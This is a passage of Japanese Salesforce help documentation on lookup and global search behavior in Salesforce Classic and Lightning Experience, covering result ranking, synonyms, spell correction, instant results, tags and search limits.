標準ルックアップでは、オブジェクトごとに制限された検索可能項目のセットが検索され、ユーザが検索
結果を絞り込むことはできません。
Salesforce Classic での高度なルックアップ
高度なルックアップには、標準ルックアップよりも多くの検索機能があります。さらに、高度なルックアッ
プでは検索結果の並び替えや絞り込みができます。

Salesforce Classic での標準ルックアップ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

標準ルックアップでは、オブジェクトごとに制限された検索可能項目のセット
が検索され、ユーザが検索結果を絞り込むことはできません。
可用性

標準ルックアップは、ほとんどの標準オブジェクトに使用できます。デフォ
ルトでは、すべての参照項目で標準ルックアップが使用されます。

検索動作
空白のルックアップを実行すると、ルックアップ検索ダイアログに最近参照
したレコードのリストが表示されます。
標準ルックアップは、オブジェクトの選択された名前項目をクエリします。
ワイルドカードが自動的に各検索語に追加されます。たとえば、「bob jo」の検索は実際には bob* jo*

の検索であり、「bob jones」、「bobby jones」、または「bob johnson」を含む項目が返されます。
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標準ルックアップクエリでは、検索語を別個のトークンに分解せずに、(検索インデックスではなく) 組織
のデータベースと照合します。

検索結果
ほとんどの標準ルックアップでは、関連性が高い順に最大 200 件のレコードを返し、一度に 50 件ずつレコー
ドをページ操作できます。キャンペーンのルックアップ検索では、上位 100 件の結果のみ返されます。す
べての結果を調べても目的のレコードがない場合は、より具体的な検索語を入力します。
結果は、プライマリレコード名項目のアルファベット昇順で表示されます。

検索結果の列の並び替え、絞り込み、またはカスタマイズを行うことはできません。
システム管理者がカスタムタブをカスタムオブジェクトに関連付けている場合、Salesforce では、一致する
カスタムオブジェクトのみが返されます。表示用のタブを追加する必要はありません。

メモ: より的確な検索結果を得るには標準ルックアップを高度なルックアップに変換することを検討して
ください。システム管理者が高度なルックアップを有効にします。

Salesforce Classic での高度なルックアップ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

高度なルックアップには、標準ルックアップよりも多くの検索機能があります。
さらに、高度なルックアップでは検索結果の並び替えや絞り込みができます。
可用性

高度なルックアップ検索は、特定のオブジェクトのみに使用できます。シス
テム管理者がオブジェクトごとに高度なルックアップを有効にします。

検索動作
空白のルックアップを実行すると、ルックアップ検索ダイアログに最近参照
したレコードのリストが表示されます。使用可能な場合は、最近参照したレ
コードの並び替えと絞り込みができます。レコードが見つからない場合は、
フルルックアップ検索を実行します。
デフォルトで、高度なルックアップ検索では制限された項目セット (主に各オブジェクトの名前項目) が照
会されます。高度なルックアップ検索ダイアログで使用可能な場合は、[すべての項目] を選択し、レコー
ドに固有の他の検索語を入力してすべての検索可能な項目を検索します。

171

Salesforce Classic でのルックアップ検索検索機能を使用した情報の検索



高度なルックアップ検索クエリでは、インデックスの一致するトークンが含まれるレコードを返すことが
できるように検索語がトークンに分解されます。

検索結果
高度なルックアップでは、関連性が高い順に最大 2,000 件のレコードを返し、件数の多い検索結果セットを
ページ操作できます。すべての結果を調べても目的のレコードがない場合は、より具体的な検索語を入力
します。
結果は最初、プライマリレコード名項目のアルファベット昇順で表示されます。カスタムオブジェクトは、
最近アクセスした日付の降順で表示されます。
結果を並び替えるには、列ヘッダーをクリックします。結果を絞り込むには、[条件を表示]を使用します。
検索結果に表示される列を変更するには、[私の表示項目] を使用します。

メモ: ユーザが結果を並び替えまたは絞り込みできるようにするには、システム管理者が事前に [ルッ
クアップ検索条件項目] の検索レイアウトを設定しておく必要があります。システム管理者は、検索レ
イアウトに列として表示される使用可能な項目を決定します。ユーザは [私の表示項目] でレイアウト
に表示される列を非表示にしたり、整理したりできますが、レイアウトに含まれていない列を追加す
ることはできません。その場合は、システム管理者に連絡し、レイアウトに列を追加するように依頼
します。
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システム管理者がカスタムタブをカスタムオブジェクトに関連付けている場合、Salesforce では、一致する
カスタムオブジェクトのみが返されます。表示用のタブを追加する必要はありません。

標準ルックアップと高度なルックアップの使用のヒント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

標準ルックアップと高度なルックアップを使用するときには、次のヒントを考
慮してください。
• ルックアップ検索結果にレコードが見つからない場合、検索語が正しいこと

を確認するか、より具体的な検索語を入力します。システム管理者が高度な
ルックアップを有効にしている場合、結果の絞り込みや並び替えができま
す。システム管理者はまた、検索レイアウトに列として表示される項目を定
義して結果を絞り込むこともできます。

• ルックアップテキストボックスに値を入力し、ルックアップアイコンをク
リックせずにレコードを保存すると、Salesforce は自動的に標準ルックアップ
検索を実行します。完全一致が見つかった場合、他の部分一致が見つかっても完全一致の値を参照項目に
保存します。完全一致は見つからないが、1 つ以上の部分一致が見つかった場合、Salesforceにより、一致の
ドロップダウンリストから値を選択するように求められます。入力したテキストと一致する結果がない場
合は、代わりにエラーが表示されます。

• 取引先責任者、リード、ユーザ、または [名]や [姓]の項目に空白が含まれる個人を検索するには、条件
に引用符を入力します。たとえば、「von hausen」という姓を検索するには、“von hausen" と入力しま
す。

• Salesforceカスタマーポータルまたはパートナーポータルが有効になっている組織では、ユーザのルックアッ
プダイアログに表示される結果を指定できます。表示する結果を指定するには、[所有者] または [割り当
て先] ドロップダウンリストでキューまたはユーザグループを選択します。

• 組織でディビジョンを使用している場合、ユーザが「ディビジョンの使用」権限を持っていれば、ルック
アップダイアログウィンドウで選択したディビジョンのレコードが、ルックアップダイアログの検索結果
に表示されます。

• 空白のルックアップを実行すると、最近使用したレコードのリストが表示されます。標準ルックアップの
場合、レコードにはプライマリレコード名項目がアルファベット順に表示されます。高度なルックアップ
の場合、レコードが最終参照日順に表示されます。一部のオブジェクト種別では、レコード件数が異なり
ます。一般的な空白のルックアップシナリオの例として、次のようなものがあります。
– 商品の標準ルックアップでは、ダイアログに 50 件のレコードが表示されます。
– キャンペーンの標準ルックアップでは、ダイアログに 100 件の有効なキャンペーンが表示されます。
– 納入商品の標準ルックアップでは、ダイアログにケースの取引先責任者に関連付けられたすべての納入

商品が表示されます。
最近使用したレコードのリストに目的のレコードが表示されない場合は、フルルックアップ検索を実行し
ます。より具体的な検索語を使用すると、最適な結果が得られます。
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ルックアップ検索のオートコンプリート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

システム管理者により有効化されると、ルックアップでオートコンプリートが
サポートされます。
標準ルックアップと高度なルックアップの両方で、参照項目の編集中に、入力
文字と一致する最近使用したレコードが動的なリストで表示されます。このリ
ストは、ユーザのルックアップを除き、該当するオブジェクトの最近使用した
データから取り込まれます。たとえば、取引先ルックアップを編集している場
合、最近使用した取引先のうち、入力した文字と名前の最初の部分が一致する
ものが表示されます。最近使用した取引先責任者は、このリストに表示されま
せん。
ルックアップのオートコンプリートには、次の制限があります。
• ルックアップのオートコンプリートリストを取り込むには、該当するオブジェクトの最近アクセスしたレ

コードがあることが必要です。
• レコードの編集ページで、ルックアップ項目の編集を行っている必要があります。
詳細のフロート表示は、最近使用したレコードのリストに含まれるオブジェクト種別の参照項目に対してのみ
表示されます。たとえば、商品は最近使用したレコードのリストには含まれません。そのため、商品の参照項
目には詳細のフロート表示は表示されません。

Lightning Experience でのルックアップ検索
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com を除くすべ
てのエディション

参照項目を使用すると、2 つのレコードを関連付けることができます。たとえ
ば、取引先責任者レコードには、取引先責任者とその取引先を関連付ける [取引
先] 参照項目があります。検索可能なオブジェクトのルックアップ検索では、レ
コード名だけでなく、レコード内のすべての検索可能な項目に対して用語が照
合されます。インスタント結果の自動推奨にレコードが表示されない場合は、
全文検索を実行します。検索結果に新しいレコードが表示されない場合は、15

分待ってからもう一度お試しください。ルックアップに関するよくある質問 (FAQ)

への回答も確認してください。

選択リストに結果が表示されない理由は?

組織でオブジェクトが検索可能になっていない場合、または以前にレコードを参照していない場合、ドロッ
プダウンは空になります。
部分一致検索を使用できますか?

正しいレコードを見つけるには、検索語全体を入力します。ルックアップ検索では、末尾のワイルドカー
ドで自動的に部分一致検索が実行されることはありません。この動作は、不要な結果が返されないように
するためのものです。
レコード名の下のセカンダリ項目はどのように決定されるのですか?

使用できる場合は、ルックアップのプライマリレコード名の下に、コンテキスト情報が含まれたセカンダ
リ項目が表示されます。たとえば、類似するレコード名を区別して適切なレコードを選択しやすくするた
めに会社「Acme, Inc」の下には場所「サンフランシスコ」が表示されます。システム管理者は、表示するレ
コード項目やその順序を設定するときにセカンダリ項目をカスタマイズします。
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ルックアップダイアログ検索で検索される項目は?

参照項目への入力を開始すると、自動推奨結果のリストが表示されます。これらのインスタント結果は、
検索語とレコードの名前項目の照合結果です。ただし、全文検索を実行する場合は、検索語とオブジェク
トの検索可能なすべての項目の照合結果が返されます。この動作は、グローバル検索結果と類似していま
す。
ルックアップ検索で検索条件を使用できるか?

ルックアップ検索結果では、ユーザ定義の検索条件は使用できません。ただし、システム管理者は、関連
ルックアップ検索条件と連動ルックアップ検索条件の両方を追加して、検索結果をよりユーザに関連性の
高いものにすることができます。検索条件が追加されると、その検索条件はインスタント結果 (最近使った
データと推奨レコードを含む) と全文検索結果の両方に適用されます。

選択リストに結果が表示されない理由は?

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com を除くすべ
てのエディション

組織でオブジェクトが検索可能になっていない場合、または以前にレコードを
参照していない場合、ドロップダウンは空になります。

部分一致検索を使用できますか?

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com を除くすべ
てのエディション

正しいレコードを見つけるには、検索語全体を入力します。ルックアップ検索
では、末尾のワイルドカードで自動的に部分一致検索が実行されることはあり
ません。この動作は、不要な結果が返されないようにするためのものです。

レコード名の下のセカンダリ項目はどのように決定されるのですか?

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com を除くすべ
てのエディション

使用できる場合は、ルックアップのプライマリレコード名の下に、コンテキス
ト情報が含まれたセカンダリ項目が表示されます。たとえば、類似するレコー
ド名を区別して適切なレコードを選択しやすくするために会社「Acme, Inc」の下
には場所「サンフランシスコ」が表示されます。システム管理者は、表示する
レコード項目やその順序を設定するときにセカンダリ項目をカスタマイズしま
す。
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ルックアップダイアログ検索で検索される項目は?

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com を除くすべ
てのエディション

参照項目への入力を開始すると、自動推奨結果のリストが表示されます。これ
らのインスタント結果は、検索語とレコードの名前項目の照合結果です。ただ
し、全文検索を実行する場合は、検索語とオブジェクトの検索可能なすべての
項目の照合結果が返されます。この動作は、グローバル検索結果と類似してい
ます。

ルックアップ検索で検索条件を使用できるか?

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ルックアップ検索結果では、ユーザ定義の検索条件は使用できません。ただし、
システム管理者は、関連ルックアップ検索条件と連動ルックアップ検索条件の
両方を追加して、検索結果をよりユーザに関連性の高いものにすることができ
ます。検索条件が追加されると、その検索条件はインスタント結果 (最近使った
データと推奨レコードを含む) と全文検索結果の両方に適用されます。

検索結果

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com を除くすべ
てのエディション

結果は、各ユーザに対して関連性によって並び替えられているため、多くの場
合、上位の結果を確認するだけで、探していたレコードをすばやく見つけるこ
とができます。特定のレコードが返される理由と、結果を絞り込むための最適
な方法について理解しましょう。

検索結果はどのように並び替えられますか?

ユーザに最も関連する結果は、検索エンジンによって検索語の頻度、順序、
ユニーク性、レコード、ユーザ活動、アクセス権限に基づいて並び替えられ
ます。検索結果の関連性は、ユーザごとに異なります。
検索結果に表示される検索語のバリエーションは?

検索では、見出語化、シノニムグループ、ニックネームを使用して、類似する語句や関連する語句が結果
として返されます。場合によっては、スペル修正、クエリの緩和、代替クエリを使用して検索語の検索方
法が修正されます。
検索バーに入力中に表示される結果は?

グローバル検索ボックスに入力すると、複数のオブジェクト種別の自動推奨レコードのリストが表示され
ます。これらのインスタント結果により、全文検索を実行する前にレコードにすばやくアクセスできます。
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検索結果はどのように並び替えられますか?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザに最も関連する結果は、検索エンジンによって検索語の頻度、順序、ユ
ニーク性、レコード、ユーザ活動、アクセス権限に基づいて並び替えられます。
検索結果の関連性は、ユーザごとに異なります。

優先度の増加や絞り込みを行う要素
検索エンジンは、多くの要素を使用してレコードに優先度を付けます。これら
の要素は、適用される順序や重要度に関係なく記載されています。
頻度

出現頻度の高い検索語が含まれるレコードが優先されます。また、複数の検
索語を入力した場合、そのすべてまたはより多くの検索語が含まれるレコードの優先度が高くなります。

ユニーク性
ユニーク性によって適切な一致の可能性が高くなるという仮定に基づき、一意の用語が含まれるレコード
が優先されます。

場所
[名前]、[役職]、または [件名種別] 項目の検索語が含まれるレコードが優先されます。

近似性
互いに近い (単語間に含まれる語がほとんどないかまったくない) 検索語が含まれるレコードが優先されま
す。同じ順序の用語が含まれるレコードは、優先度が高くなります。同様に、1 つの英数字文字列が複数の
トークンでインデックス化されている場合、単語間に含まれる語のある一致よりも完全一致の方が優先さ
れます。

会社形態
所有するレコードが優先されます。

文字数/桁数
長いドキュメントが短いドキュメントよりも過度に優先されないように、レコードの用語のインスタンス
数が正規化されます。優先度を増加させるこの要素は、Salesforce ナレッジレコードにのみ適用されます。

レコードの添付ファイル
添付ファイルの用語のインスタンス数が正規化されます。検索語のインスタンスの多い添付ファイルが、
インスタンスの少ない、より関連性の高いレコードよりも過度に優先されなくなります。Salesforce ナレッ
ジレコードにのみ適用されます。

レコードアクティビティ
頻繁に参照または編集されたレコードや、関連付けられたレコード (関連リストなど) の多いレコードが優
先されます。データの作成日は、結果の優先度に影響しません。

アクセス
参照権限のあるレコードのみが返されます。

ユーザごとに異なる結果が表示される理由は?
検索結果は、検索を実行するユーザを対象に調整されます。
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• アクセス権限はユーザのプロファイルに基づいています。レコードへのアクセス権があるユーザにはその
レコードが表示されますが、アクセス権のないユーザには表示されません。

• 所有権があるレコードは、結果の上位に表示されます。所有しているレコードは、検索結果の上の方に表
示されます。

• 参照履歴または編集履歴のあるレコードは、検索結果の上位に表示されます。自分が最近参照または編集
したレコードは、他の誰かが初めて参照したレコードよりも検索で優先されます。

• オブジェクト履歴があるレコードは、結果の上位に表示されます。頻繁に使用するオブジェクト種別のレ
コードは、検索結果での優先度が高くなります。

検索結果に表示される検索語のバリエーションは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

検索では、見出語化、シノニムグループ、ニックネームを使用して、類似する
語句や関連する語句が結果として返されます。場合によっては、スペル修正、
クエリの緩和、代替クエリを使用して検索語の検索方法が修正されます。

見出語化
見出語化によって、単語のさまざまな変化形が、コンテキストに基づく単一の
形にまとめられます。その後、検索で拡張形の一致が返されます。この動作は、
検索語と同じ形態に適用されます。名詞の検索では通常、名詞形のバリエーショ
ンの一致が返されます。動詞の検索では通常、動詞形のバリエーションの一致
が返されます。たとえば、「feature」の検索では「features」の結果も返され、「add」の検索では「add」、
「adding」、「added」を含む項目が一致します。
検索結果のランクは、検索語の各形態に一致した場合よりも、完全一致した場合の方が高くなります。
次のオブジェクトがサポートされます。
• ケース (コメントを含む)

• Chatter フィード
• Chatter グループ
• ファイル
• アイデア (コメントを含む)

• ナレッジ記事
• 質問
• サービス予約
• サービス人員
• サービステリトリー
• ソリューション
• 作業指示
• 作業指示品目
次の言語がサポートされます。
• 中国語
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• デンマーク語
• オランダ語
• 英語
• フランス語
• ドイツ語
• イタリア語
• 日本語
• 韓国語
• ノルウェー語
• ポルトガル語
• ロシア語
• スペイン語
• スウェーデン語
• タイ語

シノニムグループ
シノニムグループには、検索で同義とされる語または句があります。シノニムグループのいずれか 1 つの語を
検索すると、グループ内のすべての語に対する結果が返されます。たとえば、「USB」を検索すると、USB、サ
ムドライブ、フラッシュスティック、メモリスティックなど、シノニムグループのすべての語に対する結果が
返されます。
次のオブジェクトがサポートされます。
• ケース
• Chatter フィード
• ファイル
• ナレッジ記事
• アイデア
• 質問
• サービス予約
• サービス人員
• サービステリトリー
• 作業指示
• 作業指示品目

スペル修正
スペルミスにより結果が返されない検索語を入力すると、検索語の修正されたスペルに一致する結果が表示さ
れます。
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メモ: スペル修正には次の制限事項があります。
• スペル修正後の検索語に基づく結果かどうかを視覚的に示すものはありません。
• スペル修正は、Jo*などのワイルドカードを含む検索クエリや、PD2000などの数値を含む検索クエリで

は実行されません。

次のオブジェクトがサポートされます。
• 納入商品
• 添付ファイル
• 法人取引先
• キャンペーン
• ケース
• Chatter フィード
• Chatter グループ
• 取引先責任者
• カスタムオブジェクト
• ファイル
• ナレッジ記事
• リード
• メモ
• 商談
• ユーザ
• 質問
• サービス人員
• サービステリトリー
• ToDo

次の言語がサポートされます。
• 英語

ニックネーム
ある人の通称が「Mike」だったか「Michael」だったか思い出せない場合でも、名前を検索すると、関連付けら
れているニックネームと一致する結果が返されます。たとえば、「Mike Smith」を検索する場合、「Michael

Smith」の結果が表示されます。
次のオブジェクトがサポートされます。
• 法人取引先
• 取引先責任者
• リード
• ユーザ
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次の言語がサポートされます。
• 英語

クエリの緩和
最初に検索語と正確に一致する語句が返されなかった場合、入力した語句を名前の一部に含むレコードが含ま
れるように検索が拡大されます。たとえば、「lap」を検索した場合、laptopが提案されます。検索に句読点や
特殊文字が含まれていて、正確な一致が見つからなかった場合、他に可能性のある結果を探すようにクエリが
拡大されます。たとえば、「1234.SILVER」を検索すると、元の検索に一致するものがなければ、XYZ-1234-SILVER

のレコードが返されます。また、Salesforce で句読点を使用したレコードコンテンツがどのようにトークン化
(分解) されるかを理解しておくと、クエリを作成するときに役立ちます。

ナレッジ記事の代替クエリ
ナレッジ記事の検索で、すべての検索語を含む結果が見つからなかった場合には、検索語のいずれかを含む一
致結果が返されます。ナレッジ記事オブジェクトのみがサポートされています。

代替クエリありの場合代替クエリなしの場合検索語

レコードの検索可能な項目に beach

または house のいずれかが含まれて
いる結果。

レコードの検索可能な項目に beach

と house の両方が含まれている結
果。

beach house

検索バーに入力中に表示される結果は?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

グローバル検索ボックスに入力すると、複数のオブジェクト種別の自動推奨レ
コードのリストが表示されます。これらのインスタント結果により、全文検索
を実行する前にレコードにすばやくアクセスできます。
インスタント結果では、検索可能なオブジェクト内のレコードのみが表示され
ます。
表示される推奨レコードは、最近参照したレコードや、入力した検索語を含む
レコードです。探しているレコードがインスタント結果で見つからない場合は、
全文検索を実行してさらに結果を取得します。
how や to などのストップワードは、次のオブジェクトのインスタント結果に含
まれます。
• 取引先
• キャンペーン
• ケース
• 取引先責任者
• 契約
• カスタムオブジェクト
• 支持

181

検索バーに入力中に表示される結果は?検索機能を使用した情報の検索



• 資金
• 目標
• リード
• 商談
• 注文
• 報奨
• スキル
• トピック
• ユーザ

Lightning Experience でのインスタント結果
検索ボックスに入力中に、推奨レコードまたはクエリのリストが表示されます。これらのインスタント結
果を使用すると、レコードにすばやくアクセスできます。目的のレコードがリストに表示されない場合は、
全文検索を実行します。
Salesforce Classic でのインスタント結果
グローバル検索ボックスに入力中に、推奨レコードのリストが表示されます。これらのインスタント結果
を使用すると、レコードにすばやくアクセスできます。目的のレコードがリストに表示されない場合は、
全文検索を実行します。

Lightning Experience でのインスタント結果

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

検索ボックスに入力中に、推奨レコードまたはクエリのリストが表示されます。
これらのインスタント結果を使用すると、レコードにすばやくアクセスできま
す。目的のレコードがリストに表示されない場合は、全文検索を実行します。
検索ボックスをクリックすると、最近使ったデータのリストが表示されます。
レコード名の下にレコードのオブジェクト種別が表示されます。項目を選択す
ると、そのレコードページに移動します。

入力を開始すると、より多くのオプションが表示されます。
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1. 全文検索 — 検索可能なオブジェクトを検索し、[上位の結果] ページに移動します。
2. 特定オブジェクトの全文検索 — 現在のオブジェクト内で検索し (検索可能な場合)、オブジェクトの検索結

果ページに移動します。
3. 推奨レコード — 検索語に一致する名前を持つレコードが最大 5 件表示されます。レコードには、最近使っ

たデータ、最も頻繁に使用するオブジェクトの項目、現在のオブジェクトの項目が含まれます。最近使っ
たデータには、レコードのオブジェクト種別のみが表示され、他の一致ではセカンダリ項目も表示されま
す。項目を選択すると、そのレコードページに移動します。

メモ: セカンダリ項目では、レコードに関するコンテキストが提供されます。たとえば、取引先責任者名
の下にその取引先責任者の電話番号が表示されます。システム管理者は、検索結果レイアウトをカスタ
マイズするときにどの項目を表示するかを選択します。セカンダリ項目は、最近使ったデータには表示
されず、オブジェクトの検索結果レイアウトが指定されていない場合にも表示されません。また、検索
結果レイアウトで選択されている項目が、数式項目、HTML リンク、画像項目、選択リスト、ロングテキ
スト項目など、使用できない項目である場合も表示されません。レコードのリストに最近使ったデータ
と推奨記事が含まれている場合、セカンダリ項目がある結果とない結果が混在して表示されます。

特定のオブジェクトの検索を実行するには、オブジェクト名の入力を開始し、リスト内の [検索を制限] オプ
ション (1) を選択します。次に、検索語を入力します。インスタント結果と全文検索の両方が、選択したオブ
ジェクトに制限されます。以降の検索は、ユーザが検索ボックスからオブジェクトを削除するか、検索結果
ページから離れるまで、選択したオブジェクトに制限されます。この機能は、最も頻繁に使用されるオブジェ
クト、ナビゲーションバー内のすべてのオブジェクト、および Chatter に対して使用できます。
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Salesforce Classic でのインスタント結果

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

グローバル検索ボックスに入力中に、推奨レコードのリストが表示されます。
これらのインスタント結果を使用すると、レコードにすばやくアクセスできま
す。目的のレコードがリストに表示されない場合は、全文検索を実行します。
入力を開始すると、最近参照した一致項目と検索オプションが表示されます。

1. 私の最近使ったデータ — 検索語と一致する最近参照した項目が表示されます。項目を選択すると、そのレ
コードページに移動します。

2. 全文検索 — 検索可能なオブジェクトを検索し、検索結果ページに移動します。
3. 次の文字列で始まる — 検索語に部分的に一致するレコードを全文検索します。より関連性の高い結果を得

るには、完全な検索語を入力します。

タグの参照、検索、および管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

公開タグの名前を変更す
る、または削除する
• 「タグマネージャ」

[タグ] ページにアクセスするには、詳細ページでタグの名前をクリックします。
または、システム管理者がサイドバーにタグを追加している場合は、サイドバー
の [タグ] をクリックします。
このページでは、次の操作を実行できます。
• タグの確認と参照
• タグ付きレコードの検索
• タグの検索
• タグの名前変更と削除
• 個人タグ統計の確認

タグの確認と参照
[個人タグ] と [公開タグ] チェックボックスを使用して、ビューを制限または
拡張します。個人タグは非公開であるため、自分が定義した個人タグのみを参照できます。組織で定義された
公開タグはすべて参照できます。
タグ参照エリアの一番上で任意の文字をクリックすると、その文字で始まるタグのみが表示されます。また、
[次のページ] や [前のページ] をクリックして参照できます。
デフォルトでは、タグはアルファベット順に一覧で表示されます。[並び替え] 選択リストから [使用数順] を
選択して、タグ付けされているレコードの数順にタグを並べ替えたり、[最後に使用した順]を選択して、タグ
がレコードに追加された時期が最近であるものから順に並べ替えたりできます。
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タグ付きレコードの検索
タグをクリックすると、オブジェクトごとに整理されたレコードのリストが表示されます。タグに関連付けら
れたレコードの数が、タグの横に表示されます。さらに別のタグをクリックすると、結果を絞り込めます。複
数のタグを選択すると、選択したタグすべてが適用されているレコードのみが結果リストに表示されます。タ
グの選択を解除し、検索条件から外すには、タグの横にある [X]をクリックします。[選択されているタグをク
リア] をクリックして、タグをすべて選択解除します。

メモ:

• [タグ] ページ内のタグをクリックしたときに、リストのタイトルに表示される該当タグ数が、表示さ
れるレコードの件数よりも多い場合があります。レコードにタグを追加した後に、共有権限の変更に
よってそのレコードへの参照権限を失った場合や、自分がアクセス権を持たないレコードに公開タグ
が適用されている場合、次のようなことが起こります。

• 検索結果と [タグ] ページには、カスタムオブジェクトでタグが有効化されている場合でも、関連する
タブを含まないカスタムオブジェクトは表示されません。

列をカスタマイズして、検索結果を絞り込むことができます。

タグの検索
[タグの検索] テキストボックスに検索する語を入力し、[検索] をクリックします。検索条件に一致するタグの
みが、タグ参照エリアに一覧で表示されます。そのなかから任意のタグをクリックすると、そのタグに関連付
けられているレコードを表示できます。
検索文字列には少なくとも 2 文字を指定する必要があります。また、ワイルドカードや演算子を含めることも
できます。
ページ上部の英字の横のタグ参照エリアには、最近の検索結果が保存されます。検索文字列をクリックする
と、結果が返されます。

タグの名前変更と削除
• タグの名前を変更するには、タグの上にマウスポインタを置くと表示されるドロップダウンメニューから

[名前を変更]を選択します。表示されるテキストボックスにタグの新しい名前を入力し、[保存]をクリック
します。

• タグを削除するには、タグの上にマウスポインタを置くと表示されるドロップダウンメニューから [削除]

を選択します。タグは、組織のすべてのレコードから除外され、ごみ箱に移動されます。
ごみ箱からタグを復元すると、削除前に適用していたレコードに自動的に適用されます。詳細は、「ごみ
箱の表示および消去」 (ページ 63)を参照してください。

個人タグはすべてのユーザが名前の変更や削除を実行できますが、公開タグの名前の変更や削除には「タグマ
ネージャ」権限が必要です。
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個人タグの統計の確認
右側にある[個人タグの利用状況]をクリックします。このページには、現在の個人タグの作成数と適用数が表
示されます。最大で次の数のタグを表示できます。
• 個人タグの作成数は 500 個まで
• 個人タグのレコードへの適用数は 5,000 件まで
個人タグの作成上限数に近くなったときは、名前を変更するなどして、よく似たタグを 1 つにまとめることを
検討してください。たとえば、「自転車」、「サイクリング」、「マウンテンバイク」というタグがあれば、
「サイクリング」と「マウンテンバイク」を「自転車」に変えることで、作成している個人タグの数を減らす
ことができます。
タグのレコードへの適用数を減らすには、使用しなくなった個人タグを削除してください。

Salesforce Classic での検索の制限

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

グローバル検索、サイドバー検索、高度な検索、構造化クエリ、リストビュー、
検索条件を使用する場合、特定の制限が適用されます。

Chatter およびグローバル検索
Chatter が有効になっている場合、グローバル検索とフィード検索は有効になり
ますが、サイドバー検索と高度な検索は無効になります。グローバル検索を使
用するには、組織のシステム管理者がChatterを有効にしている必要があります。
Chatter Free ユーザは、検索オプションを使用できません。
Chatterフィード検索の結果には、すべてのオブジェクトにわたって一致する投稿が含まれるため、検索範囲は
影響を及ぼしません。

サイドバー検索と高度な検索
次の表に、サイドバー検索と高度な検索の主な相違点を示します。

高度な検索サイドバー検索機能

サイドバー検索内で高度な検索に
リンクします。

使用可能な場合、ページの左側に
あります。サイドバーパネルは、
折りたたむことができるようにカ
スタマイズできます。

場所

すべてのカスタム項目のデータ型
を検索します。検索される標準項

テキストエリア、ロングテキスト
エリア、リッチテキストエリアを

レコード項目と添付ファイル

目はオブジェクトによって異なり
ます。

除くすべてのカスタム項目のデー
タ型を検索します。検索される標
準項目はオブジェクトによって異
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高度な検索サイドバー検索機能

なります。添付ファイルは検索さ
れません。

検索を制限する 1 つ以上のオブジェ
クトを選択します。高度な検索で

検索を制限する 1 つのオブジェクト
を選択します。サイドバーで検索

複数オブジェクトの検索

検索可能なオブジェクトすべてを可能なオブジェクトすべてを検索
検索する場合は[すべて検索]を選択
します。

する場合は[すべて検索]を選択しま
す。

独立した単語を使用して、レコー
ド内の検索可能な項目を検索しま

語句検索を使用して、語句の順序
がまったく同じ用語に一致するよ

検索語

す。たとえば、「bob jones」をうにします。たとえば、「bob

検索すると、「Bob Jones」を含む項jones」を検索すると、「Bob
目の他、「bsmith@jones.com」というJones」を含む項目は返されますが、
メールアドレスを持つ「Bob Smith」「Bobby Jones」や「Bob T Jones」は返
という名前の取引先責任者も表示
されます。

されません。また、検索語の末尾
にワイルドカードを追加します。
たとえば、「Bob T Jones*」のように
します。

ニックネームの結果が表示されま
す。

ニックネームの結果は表示されま
せん。

ニックネーム検索

利用できます。スペルミスにより
結果が返されない検索語を入力す

利用できません。スペル修正

ると、検索語の修正されたスペル
に一致する結果が表示されます。
スペルチェックが使用可能かどう
かはオブジェクトによって異なり
ます。

複数の条件に基づいた構造化クエリ
構造化クエリに基づいて、特定の領域の取引先や会社内の進行中の商談などのレコードを検索するには、リス
トビュー、レポートまたはダッシュボードを使用します。

所有する項目への制限
[私の所有データ] を選択すると、納入商品、アイデア、請求書、注文、質問、見積、返信、およびユーザレ
コードには所有者がないため、検索結果には表示されません。
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検索条件
検索レイアウトで使用できる条件項目は、システム管理者が決定します。カスタマーポータルおよびパート
ナーポータルでは、検索条件は使用できません。
検索結果を絞り込むときは、項目の種別によって演算子が自動的に選択されます。下記を除き、すべての項目
で「次の文字列を含む」演算子が使用されます。自動採番および電話項目には、数字以外の文字を指定できる
ため、「次の文字列を含む」演算子を使用します。次のデータ型には、「= (次の文字列と一致する)」演算子
が使用されます。
• 日付
• 自動採番または電話項目を除く数字
• レコード ID

明示的な OR 演算子の指定は、数字項目でのみサポートされています。数字項目以外では、検索結果の絞り込
みでカンマを OR 演算子として使用します。たとえば、[取引先名] 条件項目に「東京都, 中央区」と入力すると、
検索結果には「東京都」または「中央区」のいずれかを含む取引先名が表示されます。数字項目ではカンマは
数字の一部として使用できるため、OR 演算子としてみなされません。したがって、明示的に OR 演算子を入力
する必要があります。
複数の検索条件を指定した場合は、それらの検索条件をすべて満たすレコードのみがレポートに表示されま
す。たとえば、[取引先名] 条件項目に「東京都, 中央区」と入力すると、検索結果には「東京都」と「中央区」
の両方を含む取引先名が表示されます。
予期しない結果が返されることを避けるため、URL 検索条件には http:// または https:// を含めないでください。
URL 項目に値を入力してレコードを保存すると、http:// または https:// で始まらない URL には Salesforce によって
先頭に http:// が追加されます。追加された http:// はデータベースには保存されません。たとえば、[Web サイト]

